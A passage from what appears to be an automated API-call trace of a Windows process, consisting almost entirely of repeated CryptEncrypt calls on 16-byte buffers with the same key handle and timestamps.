pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.243] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.244] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.245] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.246] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.247] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.248] CryptEncrypt (in: hKey=0x1639568, 